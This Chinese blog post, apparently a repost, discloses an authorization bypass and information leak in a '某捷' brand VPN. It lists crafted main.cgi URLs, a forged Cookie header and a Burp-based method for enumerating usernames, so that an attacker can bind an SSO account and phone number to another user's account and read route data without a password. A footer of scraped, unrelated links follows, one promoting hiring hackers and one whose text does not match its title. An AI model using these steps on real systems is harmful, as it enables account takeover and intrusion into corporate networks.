【风险预警】某捷VPN越权绑定和信息泄露

访客4年前黑客工具1174

0x01 简述

HVV临近,现预警一个某捷VPN的信息泄露及越权绑定SSO账号及手机号的问题

注:需要知道存在的VPN用户,当然如果不知道的话,可以使用文章后面的那个 *** 进行用户名爆破

话不多说先上图



0x02 越权绑定

首先打开VPN登录页,可以看到是这样子的



直接构造URL:

https://1.1.1.1/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=USERNAME&sid=1614345312&oper=showres

USERNAME为已存在的用户名,访问后即可进入到这样一个界面



然后我们点击左侧的“个人设置”



在如上图功能这里,没有任何密码验证,可以直接给这个用户绑定SSO账号及手机号



0x03?信息泄露

直接构造URL:

https://1.1.1.1/cgi-bin/main.cgi?oper=getrsc

注:需要先使用之一步的方式构造URL进入到设置页面,否则没有Cookie,会提示“错误:当前用户不在线,请重新登录”,当然你也可以手动构造Cookie

Cookie: UserName=USERNAME; SessionId=1614345312; FirstVist=1; Skin=1; tunnel=1



然后再打开的页面,就可以看到他VPN现有的路由信息



同时,通过Burp抓包可以发现,如果用户名是正确的,这个页面才会返回路由信息



如果用户是不存在的,就不会返回



通过这个 *** ,可以使用Burp进行用户名爆破

文章来源微信公众号:NearSec

相关文章

就业前景最好的专业排名?国内就业前景好的十大专业排名

就业前景最好的专业排名?国内就业前景好的十大专业排名

好的就业前景意味着高收入,意味着高品质的生活。现在我就带大家看看国内有什么就业前景较好的专业。 国内就业前景好的十大专业排名 第1名:计算机网络。计算机网络虽然费脑子,需要强大的思维支撑,但社...

DNF5月8日托比的谢意答案是什么? DNF5月8日想要表达谢意的人是谁

DNF5月8日托比的谢意答案是什么? DNF5月8日想要表达谢意的人是谁

dnf托比的谢意活动已经第二天啦!好多小伙伴们在问DNF5月8日想要表达谢意的人是谁呢?赶紧来和小编一起看看相关的答案介绍吧! DNF5月8日想要表达谢意的人是谁 托比的谢意活动已经是第二天了...

找黑客黑网贷-学多久才能成为黑客(成为一名黑客要学多久)

找黑客黑网贷-学多久才能成为黑客(成为一名黑客要学多久)

找黑客黑网贷相关问题 成为一个黑客需要多久相关问题 黑客店铺都有什么服务 有没有在学慧网退款成功(学慧网营养师)...

摇色子怎么玩?酒吧5个骰子玩法及讲解

摇色子怎么玩?酒吧5个骰子玩法及讲解

相信大家或多或少都有跟朋友出去聚会喝酒的经历,当你看见五六个朋友每人拿着个蛊在摇着塞子,然后嘴里叫着“6个1”“8个3”的时候,你是否一脸懵逼过,你是否也好奇他们玩的这个游戏的规则到底是什么?今天,我...

怀孕多久喝孕妇奶粉好 2018孕妇奶粉怎么选择

怀孕多久喝孕妇奶粉好 2018孕妇奶粉怎么选择

怀了孕以后母亲的营养成分毫无疑问沒有平常跟上,那麼就需要挑选喝孕妇奶粉,选哪些孕妇奶粉比较好呢,孕妈妈喝哪个品牌的奶粉比较好呢,我就而言讲吧。 怎么选择孕妇奶粉呢? 看知名品牌 一般来说...

如何找回对方QQ聊天记录

. 都说学习要从娃娃抓起,家长们对宝宝读的书也非常关心,下面友谊长存的小编就来说说:2岁宝宝读什么类型的书好 怎么给宝宝选择读书的类型。 童书的分类方法 从外形上可以分为异形书和普通书;从材质上...